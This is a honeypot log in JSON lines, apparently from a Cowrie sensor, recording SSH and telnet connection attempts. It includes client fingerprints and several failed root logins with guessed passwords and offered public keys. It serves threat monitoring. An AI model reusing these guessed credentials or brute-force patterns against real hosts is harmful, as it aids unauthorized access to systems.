{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:49.122838Z","src_ip":"147.45.197.250","session":"fd5489d2185f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:49.217015Z","src_ip":"147.45.197.250","session":"fd5489d2185f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22041988","message":"login attempt [root/22041988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:49.496522Z","src_ip":"147.45.197.250","session":"fd5489d2185f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:50.592494Z","src_ip":"147.45.197.250","session":"fd5489d2185f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57774,"dst_ip":"159.203.135.109","dst_port":23,"session":"e416b445b21b","protocol":"telnet","message":"New connection: 135.148.14.151:57774 (159.203.135.109:23) [session: e416b445b21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:09:58.078405Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e741ba09660","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 5e741ba09660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:00.413670Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:00.523974Z","src_ip":"77.90.185.16","session":"5e741ba09660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34928,"dst_ip":"159.203.135.109","dst_port":23,"session":"90d627914037","protocol":"telnet","message":"New connection: 135.148.14.151:34928 (159.203.135.109:23) [session: 90d627914037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:09.141723Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37788,"dst_ip":"159.203.135.109","dst_port":23,"session":"45eb218e8795","protocol":"telnet","message":"New connection: 135.148.14.151:37788 (159.203.135.109:23) [session: 45eb218e8795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:18.282116Z"}
{"eventid":"cowrie.session.closed","duration":34.25957250595093,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:32.337855Z","src_ip":"135.148.14.151","session":"e416b445b21b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":57168,"dst_ip":"10.17.0.5","dst_port":22,"session":"da38bf7ecff5","protocol":"ssh","message":"New connection: 103.172.78.219:57168 (10.17.0.5:22) [session: da38bf7ecff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:33.337625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:33.343741Z","src_ip":"103.172.78.219","session":"da38bf7ecff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:33.592803Z","src_ip":"103.172.78.219","session":"da38bf7ecff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"insane","message":"login attempt [root/insane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:34.350301Z","src_ip":"103.172.78.219","session":"da38bf7ecff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:35.600907Z","src_ip":"103.172.78.219","session":"da38bf7ecff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":40048,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f42d6394e6c","protocol":"ssh","message":"New connection: 103.149.28.157:40048 (159.203.135.109:22) [session: 4f42d6394e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:38.752223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:38.757186Z","src_ip":"103.149.28.157","session":"4f42d6394e6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:39.013677Z","src_ip":"103.149.28.157","session":"4f42d6394e6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lllllll","message":"login attempt [root/lllllll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:40.511028Z","src_ip":"103.149.28.157","session":"4f42d6394e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:41.770924Z","src_ip":"103.149.28.157","session":"4f42d6394e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44272,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8c83b604658","protocol":"telnet","message":"New connection: 135.148.14.151:44272 (159.203.135.109:23) [session: c8c83b604658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:44.685151Z"}
{"eventid":"cowrie.session.closed","duration":36.54131484031677,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:45.682950Z","src_ip":"135.148.14.151","session":"90d627914037","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.17557120323181,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:51.457562Z","src_ip":"135.148.14.151","session":"45eb218e8795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52868,"dst_ip":"159.203.135.109","dst_port":23,"session":"c308fb569e53","protocol":"telnet","message":"New connection: 135.148.14.151:52868 (159.203.135.109:23) [session: c308fb569e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:10:51.852230Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35452,"dst_ip":"159.203.135.109","dst_port":23,"session":"2648065bf7df","protocol":"telnet","message":"New connection: 135.148.14.151:35452 (159.203.135.109:23) [session: 2648065bf7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:13.548068Z"}
{"eventid":"cowrie.session.closed","duration":31.310093879699707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:15.995088Z","src_ip":"135.148.14.151","session":"c8c83b604658","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39470,"dst_ip":"159.203.135.109","dst_port":23,"session":"f316bb31ba54","protocol":"telnet","message":"New connection: 135.148.14.151:39470 (159.203.135.109:23) [session: f316bb31ba54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:20.826393Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.28","src_port":36298,"dst_ip":"10.17.0.5","dst_port":22,"session":"2617e9856846","protocol":"ssh","message":"New connection: 154.16.180.28:36298 (10.17.0.5:22) [session: 2617e9856846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:21.740123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:21.745753Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:21.835083Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:6e:40:2d:02:51:ab:68:41:c6:9f:56:1d:43:f4:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFv/5JWOU8ux0YInDB/v/yoZSJWFt+j6cadZDbT8JSuBMD8A7oQ2v2UaUF0IttvTvnBwmazuXoiZIuSXqMiGNu59sCVrul6uL6Vm/NgW4Jp434zkLHCDhoIL3CutXk7zFpjZflIzMwNok2Q4KeTQywx1+FKpebpGVTJulcHOCIuGeQfR/fSfNsRYB3jIKWwxzD02k2PHm8ZsnHs+MawLM17FKacadqY8hfE77Spw3gZGI+zkOgM+tikAfMU0tnbBdZcMQ4EMX0lCrVPX2hdjLyTL0AcCzgSydGTzbgnDCNVFn8zRKW5cJu/8Jouk/DpVMgfCI6+Rw87ZA2OIhPlAbf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:6e:40:2d:02:51:ab:68:41:c6:9f:56:1d:43:f4:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.239201Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:6e:40:2d:02:51:ab:68:41:c6:9f:56:1d:43:f4:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFv/5JWOU8ux0YInDB/v/yoZSJWFt+j6cadZDbT8JSuBMD8A7oQ2v2UaUF0IttvTvnBwmazuXoiZIuSXqMiGNu59sCVrul6uL6Vm/NgW4Jp434zkLHCDhoIL3CutXk7zFpjZflIzMwNok2Q4KeTQywx1+FKpebpGVTJulcHOCIuGeQfR/fSfNsRYB3jIKWwxzD02k2PHm8ZsnHs+MawLM17FKacadqY8hfE77Spw3gZGI+zkOgM+tikAfMU0tnbBdZcMQ4EMX0lCrVPX2hdjLyTL0AcCzgSydGTzbgnDCNVFn8zRKW5cJu/8Jouk/DpVMgfCI6+Rw87ZA2OIhPlAbf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.242686Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:28:7e:87:9c:b8:ab:53:d6:30:23:81:1b:ee:48:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs+WJurovGcTa7+vFyRjUzMfq6qNYfiPGIRmvne+LLP5RX7NT54OpAB+9qcIWDCgIIf5wQHulzRbr0BiF/1E8unF3D6wTb628b4/vJ+HDjAc+fdCwF7tbiStbeYDjw2q8LAawXHlf9qFtb61m9qr+0TGdKFrFsmbCFuR26hBDs+cw2VyXjy69v03B45lVRYZuo2m5B6U/nX4634S9pdMNJiACp6TF+jSsRGlB5kzcnhqjP5447snRlz+cg+feJijnJQkuJeRI6CFkjKNdWx2aq8UjGqiLyrk8+mDkcfqT045GMc1McMAKjjAGKGHmKeL6wox1KBLGV8yHemfOqCeniQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:28:7e:87:9c:b8:ab:53:d6:30:23:81:1b:ee:48:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.326912Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:28:7e:87:9c:b8:ab:53:d6:30:23:81:1b:ee:48:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs+WJurovGcTa7+vFyRjUzMfq6qNYfiPGIRmvne+LLP5RX7NT54OpAB+9qcIWDCgIIf5wQHulzRbr0BiF/1E8unF3D6wTb628b4/vJ+HDjAc+fdCwF7tbiStbeYDjw2q8LAawXHlf9qFtb61m9qr+0TGdKFrFsmbCFuR26hBDs+cw2VyXjy69v03B45lVRYZuo2m5B6U/nX4634S9pdMNJiACp6TF+jSsRGlB5kzcnhqjP5447snRlz+cg+feJijnJQkuJeRI6CFkjKNdWx2aq8UjGqiLyrk8+mDkcfqT045GMc1McMAKjjAGKGHmKeL6wox1KBLGV8yHemfOqCeniQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.330606Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:f8:5b:0c:51:3b:ed:e9:69:d8:49:61:6e:8f:e0:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtCkNHHb0ACFFxZS/POqItKzHwcPKv0iO0xssmNwTvydK/r5+l0LWQVVT+CxfpzJOrI6kv0pSHSpz33jnXE50OjQLTG/FhN9rO3TFohbjTehB8SbEUzNTzjIKERaYmme5uUNelUdeyWPCFMO4lc5MVR2knsQXAQ/ec4IBQJN4XVp8sTRYiSc1R/+MLccrkXmQ2+QmgDFptvM07a8WMpbdPYe4MRlmPBj2FnyubXOeulA1DUjolEtGWCAgKEdaXTB/jIJ6Xte1wO8VQq0s4541JbZcDoucsDowKBBHvM/a+YIlrLT1pEpG/m4pYM5Te7oFiYKSPi/mTG+ZPYOhLVxdV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:f8:5b:0c:51:3b:ed:e9:69:d8:49:61:6e:8f:e0:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.415850Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:f8:5b:0c:51:3b:ed:e9:69:d8:49:61:6e:8f:e0:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtCkNHHb0ACFFxZS/POqItKzHwcPKv0iO0xssmNwTvydK/r5+l0LWQVVT+CxfpzJOrI6kv0pSHSpz33jnXE50OjQLTG/FhN9rO3TFohbjTehB8SbEUzNTzjIKERaYmme5uUNelUdeyWPCFMO4lc5MVR2knsQXAQ/ec4IBQJN4XVp8sTRYiSc1R/+MLccrkXmQ2+QmgDFptvM07a8WMpbdPYe4MRlmPBj2FnyubXOeulA1DUjolEtGWCAgKEdaXTB/jIJ6Xte1wO8VQq0s4541JbZcDoucsDowKBBHvM/a+YIlrLT1pEpG/m4pYM5Te7oFiYKSPi/mTG+ZPYOhLVxdV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.420008Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:c4:92:6d:73:ba:13:63:cc:42:b8:48:8e:64:18:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuZ0uBb17PSPbP8xhDNhMVGi9w8WZ6s5kXh3Sbg3WRmvmIuQWteG8GcA/6aih69A8hI7Vhbudp4g0UGqURBKbrTa8GhrTnIjSDN8t20U/n2j1glRxhNk0RBLtJkBy9tc5BW7bbC/HwyRGcnM3IzYU/zKbTb9Se4XwWyWVDIb7Ej0yqISf5/H6ym7OcG+mZQ0oYwswUErXy4xbsZl87Tq0zS/biSUOeRg9m3daORoDglONWpRJRzdf2QR6w2W/QNvi4gYq9O0Bx19n0cSekft9xU4pHZ/4NncHbhpTBFu3SKnOiR9x2iP1nSM0cRHlaNSAhpAujHsohlavWIuTnpPY7us5O2FUszE4voZKasBwsekiOA/GEBdSx0aSvyACV353fz9pWQL1WvF4Z9owuPxuxfljleWRdOZ76H/sH1uZcsCByiestKnR9hGkcX1N7OeTCJLCOA+eL9+fnD+lXEOO4HUeV4Xxbb1/jaZxx/zE2wnZvRL2lpWEy+6PfnUINuUmA72iX7pxeNYc7oAd2cPJhaJbeN/GCehuui3mRIkFRlxScqJFZhEpSqG2sAHWHNzAj5dDd9bzzHyUSI0+QAmDyfe7RKyFmj/TAL86z2f3EEtgd+AmwK9n+EJg4WnLSbtOaJX3vxyUReOl0tEOYK4/ejxRfD5VoU+pOa57TxjRUQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:c4:92:6d:73:ba:13:63:cc:42:b8:48:8e:64:18:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.513467Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:c4:92:6d:73:ba:13:63:cc:42:b8:48:8e:64:18:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuZ0uBb17PSPbP8xhDNhMVGi9w8WZ6s5kXh3Sbg3WRmvmIuQWteG8GcA/6aih69A8hI7Vhbudp4g0UGqURBKbrTa8GhrTnIjSDN8t20U/n2j1glRxhNk0RBLtJkBy9tc5BW7bbC/HwyRGcnM3IzYU/zKbTb9Se4XwWyWVDIb7Ej0yqISf5/H6ym7OcG+mZQ0oYwswUErXy4xbsZl87Tq0zS/biSUOeRg9m3daORoDglONWpRJRzdf2QR6w2W/QNvi4gYq9O0Bx19n0cSekft9xU4pHZ/4NncHbhpTBFu3SKnOiR9x2iP1nSM0cRHlaNSAhpAujHsohlavWIuTnpPY7us5O2FUszE4voZKasBwsekiOA/GEBdSx0aSvyACV353fz9pWQL1WvF4Z9owuPxuxfljleWRdOZ76H/sH1uZcsCByiestKnR9hGkcX1N7OeTCJLCOA+eL9+fnD+lXEOO4HUeV4Xxbb1/jaZxx/zE2wnZvRL2lpWEy+6PfnUINuUmA72iX7pxeNYc7oAd2cPJhaJbeN/GCehuui3mRIkFRlxScqJFZhEpSqG2sAHWHNzAj5dDd9bzzHyUSI0+QAmDyfe7RKyFmj/TAL86z2f3EEtgd+AmwK9n+EJg4WnLSbtOaJX3vxyUReOl0tEOYK4/ejxRfD5VoU+pOa57TxjRUQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.517519Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
